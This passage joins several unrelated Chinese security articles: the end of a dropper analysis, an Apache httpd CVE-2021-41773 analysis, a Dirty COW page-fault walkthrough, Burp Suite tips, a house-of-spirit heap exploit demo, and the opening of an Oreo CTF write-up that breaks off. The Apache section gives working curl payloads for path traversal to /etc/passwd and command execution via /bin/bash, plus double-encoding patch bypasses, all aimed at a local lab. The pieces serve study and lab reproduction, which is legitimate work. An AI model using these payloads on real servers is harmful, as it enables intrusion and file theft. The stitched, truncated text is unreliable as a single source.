在本小节中，主要是分析了一个被修改了CRT的Dropper样本。根据奇安信去年年底的报告来看，此样本应该是作为Lazarus攻击印度核电厂的Dropper样本。但是在报告中却一句话带过了，并没有详细的分析该样本的具体功能。所以本节中也以此样本为例，管中窥豹，学习学习非常规的攻击套路。
至此，恶意样本分析的基础系列算是完成，感谢大家的支持~
接下来的文章，将会分享一些更有特点的样本和分析手法。 | 社区文章 |
# Apache httpd Server CVE-2021-41773 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞简介
Apache httpd Server 2.4.49 版本引入了一个具有路径穿越漏洞的新函数，但需要配合穿越的目录配置 Require all
granted，攻击者可利用该漏洞实现路径穿越从而读取任意文件，或者在配置了cgi的httpd程序中执行bash指令，从而有机会控制服务器。
## 0x02 环境搭建
### 0x1 docker搭建
在搭建环境的过程中制作了一个docker容器，方便以后对该漏洞进行复现分析。
安装方式如下
docker run -p 8787:80 -d --privileged turkeys/httpd:cve-2021-41773
关于httpd的编译过程可参考
[https://www.yuque.com/docs/share/771a78c6-7fca-44c7-9cb3-6d1fb3594921](https://www.yuque.com/docs/share/771a78c6-7fca-44c7-9cb3-6d1fb3594921?#)
制作docker的文件也放在github <https://github.com/BabyTeam1024/CVE-2021-41773>
，下载下来后直接执行如下指令
docker-compose up -d
### 0x2 调试
环境有安装好的pwndbg插件，在调试的时候需要注意kill掉root起的httpd进程，只保留一个daemon httpd用来调试
gdb --pid 1074
源码调试界面如下
## 0x03 漏洞分析
在调试漏洞之前首先给自己提出了几个问题，带着这几个问题去分析漏洞，才会更加理解漏洞的核心原理。其次通过httpd源码调试无死角窥探漏洞触发过程。
### 0x1 问题
在见到poc之后心里面就有几个问题一直没有得到解决
* 路径穿越poc为什么是.%2e开始，%2e.不行吗？
* 补丁绕过poc是依据什么怎么构造出来的？
* cgi命令执行poc如何构造，为什么执行的命令在post参数里？
带着这三个问题开始CVE-2021-41773 源码调试漏洞分析之路
### 0x2 路径穿越poc如何构造
这一切还要和2.4.49版本的httpd在server/request.c中引入的新代码有关，如下图所示
关键代码如下，根据httpd自身的注释可以了解到这部分代码的功能是删除/./和/../一些路径，其中还描写到该部分代码是为了避免ap_unescape_url后的双重解码，但是补丁就是因为双重解码绕过的。
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
接下来到这次漏洞的核心函数ap_normalize_path，第一段代码如下
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* 除了 "OPTIONS *", 每个请求路径都应该是以 '/' 开头*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* 如果开启了AP_NORMALIZE_ALLOW_RELATIVE配置就能绕过这个限制 */
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
可以看到在代码的开始部分设定了w和l变量，其实是使用了双索引的方式遍历path数组，完成对path字符串的编码解析和../删除工作。其中w指针有回退功能，l指针只会前进，而且w指针永远指的是真实path将要填充的字符，所以在做字符串判断的时候一直使用w-1偏移进行索引。
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* 如果解码成功l指针移动到编码的最后一位，且将解码后的值复制给path[l] */
l += 2;
path[l] = c;
}
}
在这段代码之后真正的 **漏洞代码** 出现了
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
.......
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* 如果l遇到了../开始让w回退到上一个/，不然的话就赋值 */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* 如果w回退到0且后续没有内容则报错 */
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* 因为../的关系让l指针前进两个索引 */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
漏洞逻辑已经很明显了在上述代码的第十五行，l遇到../才让w回退到上一个/，不然的话就将路径原模原样赋值给w指针。那么.的url编码是%2e，如果遇到%2e./就会回退，因为会先进行url解码l索引就变成了../，但如果是.%2e/在执行这段../回退代码的时候检测不出来../就会先把.赋值给w指针，之后l在%2e进行解码变成了./但是因为w已经前进了一个索引
**IS_SLASH(path[w – 1])**
就无法判断成功所以代码又将./依次赋值给了w指针。从而让path变量中拥有了解码好的/../路径片段，实现了路径穿越。代码的艺术就是这么奇妙，因为没有妥善处理特殊情况造成了严重漏洞，这给代码开发人员敲响了警钟。
经过分析%2e%2e/路径也可以达到同样的目的，在实际调试过程中也是如此，在进入ap_normalize_path函数的路径为未解析的原始路径。
函数解析后r-parsed_uri.path 为含有路径穿越的../目录，从而实现路径穿越
最后在ap_invoke_handler函数中调用ap_run_handler进行路径解析，读取权限允许范围内的文件内容，ap_run_handler实际为挂钩函数，其中注册了很多处理函数。
### 0x3 补丁绕过poc构造
补丁分析，判断了.%2e/以及%2e%2e/这两种情况
在后续的代码审计过程中发现了ap_unescape_url函数，该函数功能为解码url字符编码。因此又存在了几种poc构造方式，简单的构造原则为只要一开始时的路径不是../且在二次解码后的路径为../就能满足条件
/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 这种是不生效的，因为ap_normalize_path不会处理%字符的url编码
curl -s --path-as-is "http://localhost:8787/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
### 0x4 命令执行poc构造
在/etc/httpd/httpd.conf配置文件中去掉mod_cgid.so那行的注释
主要研究在cgi模式下如何进行命令执行，路径穿越部分上面已经分析的很清楚了，困扰我的其实是命令为什么是在post参数中。笔者首先用gdb调试了命令执行的过程，kill掉root进程，保留剩下的worker进程
curl -d 'id>/tmp/a' "http://localhost:8787/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash"
直接将断点下在execve函数上，尝试分析命令执行时post参数是怎么带入执行的
参数内容只有/bin/bash
环境变量部分内容挺多，编写了gdb脚本循环遍历
define printall
set $i = $arg0
while *(unsigned long long *)$i !=0
x/s *(unsigned long long *)$i
set $i = $i + 8
end
end
用脚本跑完后，post参数也没在环境变量中，只有CONTENT_LENGTH为9，这正好是id>/tmp/a命令的长度。那么该漏洞到底是如何传递命令执行参数的呢？
#
笔者猜测是httpd将执行的命令重定向到了cgi程序的输入流中了，因此编写了接受输入流的bash脚本放在cgi-bin目录下，脚本内容如下
#!/bin/sh
read content
echo $content > /tmp/xxx
发送如下数据包
curl -d 'id>/tmp/x' "http://localhost:8787/cgi-bin/1.sh"
结果如下
那么可以证明post参数确实是以输入流的方式传入到cgi程序中，这就不难理解为什么命令执行部分构造成
A=|id>/tmp/x
id>/tmp/x
至于echo;id如何做到命令回显，还没有深究
## 0x04 总结
这个apache httpd
路径穿越漏洞非常有意思，最后代码维护人员把ap_unescape_url删掉了避免二次解码漏洞的发生，简单粗暴。在复现这个漏洞的过程中也学习到了一些调试技巧，同时也解决了这段时间困扰笔者的几个问题。文笔粗糙，有什么问题请大家多多指正。
## 0x05 参考文献
<https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ>
<https://www.secrss.com/articles/34890> | 社区文章 |
# 剖析脏牛2_内核如何处理缺页异常
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 测试程序
int fd;
struct stat st;
void *mem;
void processMem(void)
{
char ch = *((char*)mem);
printf("%c\n", ch);
}
int main(void)
{
fd = open("./test", O_RDONLY);
fstat(fd, &st);
mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
processMem();
}
## 触发缺页异常
* _((char_ )mem)最终被编译成一个内存读指令, rax为mem, 但此时CPU并不能感知到刚刚mmap的虚拟地址区域, 指令执行的详细过程如下
* CPU执行[rax]时用的地址是虚拟地址, 会被送入MMU中, 尝试转化为物理地址
* 物理地址是在电路层面能够直接用于访问内存的地址, 类似于实模式下内存地址的概念
* cr3指向全局页目录, MMU尝试用虚拟地址逐级匹配页表项, 以完成虚拟到物理地址的映射
* 虚拟地址转化出来的其实是线性段地址, 但由于x86下是平摊模式, 段基址为0, 所以这里就把线性地址当做物理地址
* 根据之前对于mmap()的分析可以知道, mmap()并没有没有分配页框, 页没有设置页表, 因此MMU转换地址时注定发生异常, 会向CPU发送一个缺页异常的中断信号, CPU接收到以后会根据中断号调用异常处理函数: page_fault()
## 陷入中断
* x86_64下每个task都有自己的内核栈, 用来当做陷入内核态时的工作环境. 除此之外还有与每个CPU相关的专用栈, 中断栈就属于这一类. 当外部硬件中断发生时CPU就会切换到这个栈, 作为中断处理的工作环境
* 陷入中断后
* 从IDT中读入cs:ip
* 从TSS中读入RSP0作为中断栈
* CPU把cs的最低2bit作为CPL, 表示当前的权限级别
* TSS中保存有4个SS:RSP, 当权限切换到x时, CPU就会自动载入第x个SS:RSP作为中断栈
* 还有一种利用IST进行的栈切换, 缺页中断并不使用, 所以不讨论
* 接着CPU向中断栈依次push如下内容
* 发送中断时的ss:sp
* 发送中断时的标志寄存器: eflags
* 发送中断时的cs:ip (指向引起中断的指令, 因为这个指令执行失败, 中断处理完成后要重新执行)
* 错误代码, 这里是0x4
* 以上这部分不需要代码借入, 全部由CPU的电路完成
* 内核在初始化时就指定了page_fault为中断处理的入口
* 下图为刚刚进入中断处理的现场
## page_fault
* page_fault是一个标号, 而非函数, 在entry_64.S中通过trace_idtentry宏展开来的定义, trace_idtentry宏会转化为对idtentry宏的调用
* idtentry宏的具体实现不用关心, 主要负责包装IDT中处理函数的入口, 创建一个符合C函数调用约定的环境
* 首先在栈上分配足够的空间用来保存错误代码和中断现场:pt_regs, 然后调用error_entry构造pt_regs
* error_entry关闭中断后把对应寄存器保存到栈上的pt_regs中
* 然后根据cs判断需要切换gs, 执行swapgs指令, 然后ret返回
* 回到page_fault, 进行三个操作
* 设置第一个参数为rsp, 因为rsp上存放着pt_regs, 所以在C中函数第一个参数就是struct pt_regs* regs
* 然后把CPU压入的错误代码放入rsi中作为第二个参数, 并把原来的错误码设置为-1, 所以C中函数第二个参数就是unsigned long error_code,
* 此时已经满足C中函数调用的约定, 调用C编写的do_page_fault进行真正的处理工作
* 对于缺页异常, 错误代码含义如下
* P=0: 由页不存在引起的, P=1 页存在, 是权限问题引起的
* W=0: 由读引起的, W=1: 由写引起的
* U=0: 内核态下引起的异常, U=1: 用户态(CPL=3)下引起的
* I=1: 由取指令引起的, 只在页支持执行权限时使用
## do_page_fault()
* 有了中断现场, 错误代码后, 对于缺页异常还需要一个参数: 引起缺页异常的地址, CPU把这个地址放在CR2寄存器中, 如下
* 所以do_page_fault就干了两件事
* 读cr2获取缺页异常的地址
* 调用主要处理函数__do_page_fault()
## __do_page_fault()
* 该函数参数如下
* 对应到 **do_page_fault()的参数,** do_page_fault()是一个分配器函数, 主要任务就是分配引起缺页异常的各个情况, 然后分派给各个进程完成
* __do_page_fault()先处理内核地址引发的缺页异常, 我们的调试的异常并不属于这一类
* 这里需要解释下什么叫内核线程的页表, 通过页表进行地址转换时会用到TLB缓存一部分转换的地址, 从而提高速度, 每次切换页表(也就是写入cr3)都会导致TLB失效, 代价比较大, 因此linux使用了惰性TLB机制, 尽量减少页表的切换
* 在进程描述符中有两个字段mm与active_mm, mm指向该进程拥有的地址空间, active_mm指向该进程活动的地址空间
* 对于用户进程 mm==active_mm, 不用做出区分
* 对于内核线程
* 其不拥有自己独立的地址空间, 这也是我称之为内核线程而非进程的原因, 为了强调这一点, 其mm为NULL
* 由于用户进程只使用用户地址空间部分(0~TASK_MAXSIZE), 因此内核线程就可以借用用户进程的页表中内核地址的部分. 而且就借用切换到内核线程之前运行的那个用户进程的地址空间, 因此其active_mm为前一个用户进程的mm
* 如果从用户进程A切换到内核进程B, B直接借用了A的地址空间的内核部分, 就不需要设置cr3切换页表了. 并且内核线程不会随便使用用户地址空间的部分, TLB中的信息仍然有效, 十分友好.
* 这里需要注意, 本质上一个内核线程的active_mm是随机一个用户进程的mm, 如果访问内核地址时发生溢出, __do_page_fault()就会调用vmalloc_fault()参考init_mm.pgd设置这个用户进程mm中的内核地址部分. 我们可以认为当运行很长时间后, 所有用户进程的内核地址部分都与init_mm.pgd同步
* 理解了惰性TLB之后就可以理解为什么 __do_page_fault()不让内核态的程序随便访问用户地址了
* 现在进入了最常见的用户进程访问用户地址造成的缺页的情况, __do_page_fault()首先设置了一些flags
* 然后获取mm->mmap_sem, 在地址空间mm中搜索vm->end比address大的第一个VMA对象
* 然后判断address是否真的是用户地址空间中映射的地址, 如果是的话进入good_area逻辑, 我们调试的进程也是进入这部分. 后续还有对栈空间不足这一情况的判断, 不是重点就不细说了
* __do_page_fault()首先会调用access_error()判读下本次内存访问是否有权限问题, 如果没问题的话调用handle_mm_fault()处理
* 这里有必要说一下内存的权限, 内存的权限保存在两个位置:
* 页表项PTE的bit中, 这部分被MMU使用, 是硬件判断否引发缺页异常的依据
* vma->vm_flags中, 这部分被内核使用, 记录了这片虚拟内存真实的权限,
* 所以缺页异常发生时, 内核需要结合vma->vm_flags判断是自己比较懒进行了写时复制造成的权限问题, 还是映射时权限本来就不够, 这部分工作由access_error()完成
* 下图为页表项结构
## handle_mm_fault()
* 调用参数:
* handle_mm_fault()这是一个包裹函数, 进行一个预处理后调用真正的处理函数__handle_mm_fault()
## __handle_mm_fault()
* __handle_mm_fault()先进行一些简单的处理, 这些不是重点
* 64位使用4级页表, 页表的结构如下
* __handle_page_fault()下一步就是在页表中分配逐级分配对应的页表项, pgd中每一项总是存在的, 因此不需要分配, 但是对于次级页表就不一样了
* 现在address的相关页表结构已经建立完毕, 调用handle_pte_fault()处理PTE引起的异常, 也就是要真正分配页框并设置PTE以建立完整的映射了
## handle_pte_fault()
* 这个函数也适合分配器函数, 首先处理页不存在的情况, 会衍生处三种处理
* 匿名映射区刚刚建立页表项造成PTE为none, 调用do_anonymous_page()处理
* 文件映射区刚刚建立页表项造成PTE为none, 调用do_fault()处理
* 我们调试的程序属于这一种
* 页框被换出, 因此页不存在但是PTE不是none, 调用do_swap_page()处理
* 接着判断页存在的缺页异常, 这种情况就属于写时复制了, 调用do_wp_page()处理, 然后写入pte并更新缓存
* 写时复制: 进程需要映射一个可读可写入页, 内核之前偷懒, 只分配了一个可读页, 这样多个进程就可以共享一个页, 现在进程真的需要写入了, 就只能把原来页复制一份给他写入
## do_fault()
* 这玩意也是一个分配器, 处理映射到文件的第一次缺页异常, 我们调试的程序会调用do_read_fault()处理
## do_read_fault()
* do_read_fault()则进行了一个局部性优化, 如果要在address周围映射多个页则调用do_fault_around, 否则就调用__do_fault()
* 在我们调试的程序中会调用do_fault_around()
* 然后进行pte与锁相关处理后结束
## do_fault_around()
* do_fault_around()首先需要根据fault_around_bytes计算要映射的范围
* 然后初始化一个vmf对象传递相关参数, 调用vm_ops->map_pages()进行处理
* 根据之前mmap时的设置, 可以得知会调用filemap_map_pages()函数来处理映射
## filemap_map_pages()
* 至此不得不说一下内核中的地址空间(address_space), 这里的地址空间不是内存的, 而是对于文件的一种重要的抽象
* 基本概念
* 块设备(比如硬盘) 逻辑上可以理解为以块为单位进行读写的一维数组
* 文件则就是一段连续的字节. 注意: 文件在硬盘上并不是以连续的块储存的, 因为多次删除申请之后会出现空洞的问题, 造成空间浪费.
* 文件系统(比如Ex2 Ex3): 文件的数据块以何种方式保存在硬盘上
* 内核用索引节点(inode)保存文件的元信息:
* 包含: 文件字节数, 权限, 时间戳, 链接数, 块指针
* 每一个文件对应一个inode结构, 其中的块指针可以作为块设备的下标, 找到真正保存文件数据的block, 当一个block不足以保存一个文件时, Inode就会通过多级块指针来保存block号码
* Inode的典型结构如下
* 内核用超级块(super_block)来表示文件系统, 每种文件系统都有一个, 超级块保存了下面两种信息
* 文件系统的关键信息, 比如块长度, 最大文件长度
* 读,写,操作inode的方法
* inode记录了文件信息, 超级块则记录了怎么使用inode获取文件的数据, 至此已经可以完成对文件的读写. 但是我们还差了一个抽象: 缓存. 如果每一次读文件的写入都直接传递到块设备中, 那么效率会很低, 因此linux又把文件抽象出地址空间(address_space)
* 在打开一个文件时, 地址空间在内存中申请多个页缓存, 并使用基数树来组织这些页以加快查找速度, 然后把文件中的相关数据读入到内存页中从而建立起一个完善的缓存. 在必要的时候也会进行文件的回写操作. 除此之外地址空间还提供了一系列的标准操作方法, 把文件抽象成一个一维数组, 方便操作.
* 例子:
* 假设现在有两个文件系统Ext2 Ext3, 那么内核中就会有两个超级块
* 假设Ext2中有两个文件FileA, FileB, 硬盘上就会有两个对应的Inode, 内核会把Inode读入内存中以加速访问, 这两个Inode都使用Ext2的超级块
* 进程Process打开了三次FileA:
* 那么内核就会创建三个文件对象(struct file), 每个文件对象中都有一个对应的地址空间, 三个文件对象的文件指针是独立的, 也就是说lseek一个打开的文件, 不会影响别人
* 顺便说一下, 描述进程的对象task_struct中有一个数组files, 里面保存在此进程所有打开的文件对象, 暴露给用户的文件描述符fd就是files数组的下标
* 理解了地址空间后, filemap_map_pages()的任务就明确了: 打开文件时地址空间已经把部分文件内存从硬盘中缓存找内存中, filemap_map_pages()则只需要搜索地址空间的缓存, 找到内存页, 然后把缓存页链接入页表中
* filemap_map_pages首先从vmf->pgoff开始, 通过地址空间的基数树搜索对应的缓存页
* 接着处理一些缓存页不可用的情况
* 最后把获取到的缓存页写入页表对应的PTE中, 建立起虚拟地址到物理页框的映射
* 我们需要明确一点, filemap_map_pages()只是一种利用缓存的优化, 不保证所有的页都能成功映射, 对于映射失败的页当MMU访问到时又会进入缺页异常的处理中.
* 回顾下do_read_fault()
* do_fault_around()结束后返回到do_read_fault()中, 如果do_read_fault()发现引起缺页的pte处理成功, 则其任务完成, 否则就只能调用 **do_fault()来单独处理此pte,** do_fault()才是更加传统与通用的处理
## __do_fault()
* __do_fault()的任务有三部分
* 创建vmf的对象, 用于传递参数
* 调用vm_ops->fault()函数处理缺页异常, 这个函数由具体的文件对象设置
* 处理返回值, 设置page指针, 返回到do_read_fault()之后由do_read_fault()设置页表对应的PTE
* 在mmap建立VMA对象时, vm_ops->fault对应与shmem_fault()函数
## shmem_fault()
* 首先找到inoded与gfp
* 然后调用shmem_getpage_gfp()进行页分配工作
## shmem_getpage_gfp()
* 函数参数:
* 首先尝试在地址空间的缓存中搜索
* 没找到的话会尝试从交换文件中寻找对应页, 这部分我们不关心, 如果交换文件中没有的话就会新分配一个页框, 然后在地址空间中建立缓存, 完成映射工作
* 至此我们可以发现mmap机制依赖于地址空间, 本质上, 地址空间把文件映射到内存, 但是这个映射一个打开的文件只有一份, 是面向内核的, mmap借助此机制把文件映射到用户进程的内存中
## 写时复制COW
* 之前我们在分配器函数handle_pte_fault()中说过, 如果需要进行写时复制则会进入do_wp_page()函数, 这是一个很重要的机制, 有必要说一下
### do_wp_page()
* do_wp_page首先根据pte找到其指向的页, 并判断是否为普通页, 如果不是则不进行后续优化, 分派到两种处理函数中. 根据pte找到页对象的原理如下:
* 内核把整个物理内存视为一维的页数组, 每一个页通过一个页对象(struct page)来描述, 这样就得到了一个页对象组成的一维数组(struct page mem_map[] ), 该数组中的元素与物理内存中的页框一一对应
* pte中包含页框的物理地址, 稍加转换就可以变成mem_map中的索引, 从而找到描述这个页框的页的对象
* 对于普通的匿名页, 如果只有自己这个进程映射到他的话, 想写入就写入好了, 反正是只有自己拥有他
* 如果是可写入的共享页, 就要调用wp_page_shared()处理, 这个函数干的事情只有两件
* 如果映射到文件并且设置了vm_ops->page_mkwrite()的话就调用这个方法
* 设置pte的写入标志, 让多个进程读写同一个页面以达到共享效果, 至于怎么同步就是共享他的进程的事情了
* 排除掉各种特殊情况与可优化情况后, 回归最本质的操作: 调用wp_page_copy()复制一个页
### wp_page_copy()
* 这里需要说一下零页的优化:
* 由于00初始化是最常见的, 因此内核建立了一个只读的用00填充的物理页, 称之为零页
* 所有进程的匿名映射页在写入之前都会映射到零页中, 这样既可以进行00初始化又可以减少页框的分配
* 当尝试写入这样的匿名页时, 由于零页只读, 因此会进入COW部分, 才真正分配页框
* pte_pfn()用于从pte中获取页框号(page frame number), is_zero_pfn()用于判断是不是零页的页框号
* wp_page_copy()考虑两种情况
* 如果发现原来映射到的是零页, 就会分配一个00初始化页面
* 否则, 先分配一个页框, 然后把原来页的内存复制过去
* 新页复制后以后创建新的pte, 构建新的映射, 结束COW处理 | 社区文章 |
渗透测试用到Burp时候很多，整理了一些tips供测试时候更得心应手~
## 光标错位和中文显示
新版一打开容易光标错位，默认情况下使用字体是Courier New，显示不了中文。
换用Monospaced字体即可正常显示中文，一般这里就不会错位了，错位的话可以大小弄大一些：
如果是win下，Burp字体容易模糊，特别是exe版本，如果模糊，可以设置缩放125%就好了。
可以修改配置文件：BurpSuitePro.vmoptions
-Dsun.java2d.dpiaware=true
-Dsun.java2d.uiScale=1.25
## 自动滚动以匹配请求/响应选项卡
测试时候需要关注当前包和下一次包有啥区别，以及需要搜索一些关注的词，可以设置自动去匹配关注的词：
关注的词将突出显示。
## Burp 流量处理
测试的时候应该关注测试的目标，减少无用的流量。
## 浏览器自带请求禁用
比如在用firefox时候，会拦截到一些浏览器自己的请求：
有一个 **高级** 设置可以禁用此功能，但 UI 中没有任何内容。在地址栏中输入：about:config
搜索 network.captive-portal-service.enabled 并单击它以切换为 **false** ，它将停止发送此请求
如何阻止firefox这些没用的请求，按这篇设置以后会少一些firefox的请求：
<https://support.mozilla.org/en-US/kb/how-stop-firefox-making-automatic-connections>
但是还是会有一些域名的请求，转到about:config,再次搜索self-repair.mozilla.org
直接把此首选项的值删掉即可。
这样firefox就没有发出那些没用的请求了。
## 通过Burp TLS Pass Through
除了浏览器，还有一些插件的流量很烦人，可以用这个功能告诉burp不要拦截这些流量。
先收集有哪些需要过滤的地址：
挂着代理，等20分钟，burp中查看：
收集完了以后开始复制这些地址，先转到target->scope，开启 **Use advanced scope control**
然后转到到Target > Site map复制这些url，单击Filter并单击Show all 按钮
Add to Scope，切回去就能看到这些url，再从scope里拿出来，你就有一批需要过滤的地址了：
然后将这些将这些url添加到 Burp TLS Pass Through，但是TLS Pass Through可以选择粘贴 URL
或从文件加载列表。不支持刚才复制出来的格式。该文件每行应该有一个正常的 URL（不是正则表达式）。
直接复制刚才的格式会报错：
按正常格式添加：
也可以直接在burp的项目配置文件中添加：
## scope过滤HTTP 不必要请求
上面的功能过滤了一些不必要的https请求，但HTTP 请求仍然会被代理，常见的方法可以在浏览器代理插件中进行过滤：
还可以善用Burp的scope功能：
可以创建 URL 匹配规则以包含或排除可能与测试范围无关的特定 URL。
正则对url进行匹配：
也可以对已经有的请求加入scope中，右键单击请求并选择Add to scope。然后您可以导航到Target > Scope并查看添加到范围的请求。
scope比较方便是支持正则，比如整个站 *.google.com 或某个目录 google.com/images/
设置了scope后可以在HTTP History中进行过滤，选择"Show only in-scope items"
history也可以设置一些过滤选项大家都很熟悉，`Filter by MIME type`设置MIME类型，`Other
binary`需要查看大多数二进制数据（application/octet-stream），`Filter by file
extension`可以设置后缀的过滤，这里说一下`Filter by file
extension`最好使用它的hide功能即可，过滤掉常见静态后缀和字体后缀即可。`Filter by
listener`用的少一些，当应用程序在不同的端口上进行通信并且不支持代理设置时特别有用。
## 隐藏特定方法的请求(OPTIONS)
测试的时候会发送很多特定方法的包，比如查看history中存在很多测试的OPTIONS包：
这里可以用到一个拓展：
<https://github.com/pajswigger/filter-options>
它增加Content-Type: application/octet-stream了每个OPTIONS请求的响应。然后 HTTP History
将该请求分类为Other Binary，我们可以按此进行过滤。
还可以参考这篇，将OPTIONS请求加上MIME类型为JSON以达到来过滤的目的：
<https://captmeelo.com/pentest/2020/01/06/filter-options-method.html>
<https://github.com/capt-meelo/filter-options-method>
## 对请求包进行非缓存的响应：
可以通过在 Burp 的代理选项中启用强制所有响应非缓存，这样就可以看到操作后最新的版本：
## 设置不发送隐私
默认 PortSwigger会收集数据：
可以关闭这个匿名反馈传输
## 禁用 Burp Collaborator
Burp Collaborator可以用来接受带外，但是每次一打开burp就弹出来 Burp Collaborator很烦，设置中可以关闭：
## sitemap 显示切换
默认sitemap显示是这样
个人毕竟喜欢标签切换的形式，简洁一些：
在Sitemap中任意位置并选择 **View - > Tabs**来将Target选项卡切换到此视图
其他模块切换成tabs是一样的。
再提一点，展开折叠功能也很好用：
## Burp 扫描选项
大家都知道Burp 有两种扫描模式：主动和被动。两者可以同时激活。
**被动扫描** 中，它只查看请求/响应，并且基本上根据其规则集进行 grep，而不发送任何请求。 **主动扫描**
中，它实际上会生成有效负载并将它们发送到服务器（并分析请求/响应）。
需要注意的就是不要一开始就使用主动扫描，很容易测试时候直接被waf给ban了，还没测就结束了，老版本有scanner的选项卡可以配置，新版可以在dashboard配置：
推荐不改变Live Passive Scanning为`Scan everything`，也可以将其设置为`Use custom scope`
## repeater中切换历史
发包时候老是要看历史包，除了ctrl+z还可以直接切回去：
## repeater中自动跟踪重定向
测试时候还可以设置Repeater 将自动跟踪重定向响应。
## 在浏览器中重复请求
如果测试特定请求在由用户代理呈现时的行为方式，比如xss，Burp可以重复请求并在浏览器中查看它。右键单击消息输出的请求后选择"在浏览器中请求"。
浏览器打开即可。
## 请求格式转换
常用就是get post 上传这些直接转换：
还有常用的就是转成XML/JSON,在 BApp Store 中很容易找到的ctc插件：
很方便转成XML和JSON:
## 选项卡命名和切换
发了很多包，找到特定发包选项卡一个个翻很慢，最好命名：
还有的就是模块选项卡的切换，有时候插件很多了，找repeater和proxy眼睛看不过来，可以直接windows选项卡切换： | 社区文章 |
# 堆利用系列之house of spirit
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
house of spirit攻击是一种构造虚假的chunk(通常是fast
chunk)，free这个chunk把它放到fastbin上，然后通过再次申请得到对这个chunk的控制权。构造虚假chunk的时候需要注意两个size，一个是这个虚假chunk的size还有一个是紧邻chunk的size。在特殊的场景下可以进行应用。
## house of spirit例程
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
puts("So we will be covering a House of Spirit Attack.");
puts("A House of Spirit Attack allows us to get malloc to return a fake chunk to a region we have some control over (such as the bss or stack).");
puts("In order for this attack to work and pass all of the malloc checks, we will need to make two fake chunks.");
puts("To setup the fake chunks, we will need to write fake size values for the chunks.");
puts("Also the first fake chunk is where we will want our chunk returned by malloc to be.");
puts("Let's get started!\n");
unsigned long array[20];
printf("So we start off by initializing our array on the stack.\n");
printf("Array Start: %p\n", array);
printf("Our goal will be to allocate a chunk at %p\n\n", &array[2]);
printf("Now we need to write our two size values for the chunks.\n");
printf("There are three restrictions we have to meet.\n\n");
printf("0.) Size of the chunks must be within the fast bin range.\n");
printf("1.) The size values must be placed where they should if they were an actual chunk.\n");
printf("2.) The size of the first heap chunk (the one that gets freed and reallocated) must be the same as the rounded up heap size of the malloc that we want to allocate our fake chunk.\n");
printf("That should be larger than the argument passed to malloc.\n\n");
printf("Also as a side note, the two sizes don't have to be equal.\n");
printf("Check the code comments for how the fake heap chunks are structured.\n");
printf("With that, let's write our two size values.\n\n");
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
array[1] = 0x60;
array[13] = 0x40;
printf("Now that we setup our fake chunks set up, we will now get a pointer to our first fake chunk.\n");
printf("This will be the ptr that we get malloc to return for this attack\n");
unsigned long *ptr;
ptr = &(array[2]);
printf("Address: %p\n\n", ptr);
printf("Now we will free the pointer to place it into the fast bin.\n");
free(ptr);
printf("Now we can just allocate a chunk that it's rounded up malloc size will be equal to that of our fake chunk (0x60), and we should get malloc to return a pointer to array[1].\n\n");
unsigned long *target;
target = malloc(0x50);
printf("returned pointer: %p\n", target);
}
## Hack.lu 2014 Oreo
[文件链接](https://github.com/guyinatuxedo/nightmare/tree/master/modules/39-house_of_spirit/hacklu14_oreo)
### 构建调试环境
首先看一下二进制和libc的情况.
file ./oreo
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped
可以发现这是一个32位的x86的二进制，而且这是一个可执行文件，就是加载地址是在固定的位置0x08048000。
链接给了一个libc.2.23的文件，但是我无法直接用pwntools中的process运行，均提示segment
fault，尝试了几种方法最终通过运行ld文件，把二进制作为参数传给ld，然后指定LD_PRELOAD为libc.2.23的方法构建了调试环境。本文的调试主机环境为ubuntu18.04
from pwn import *
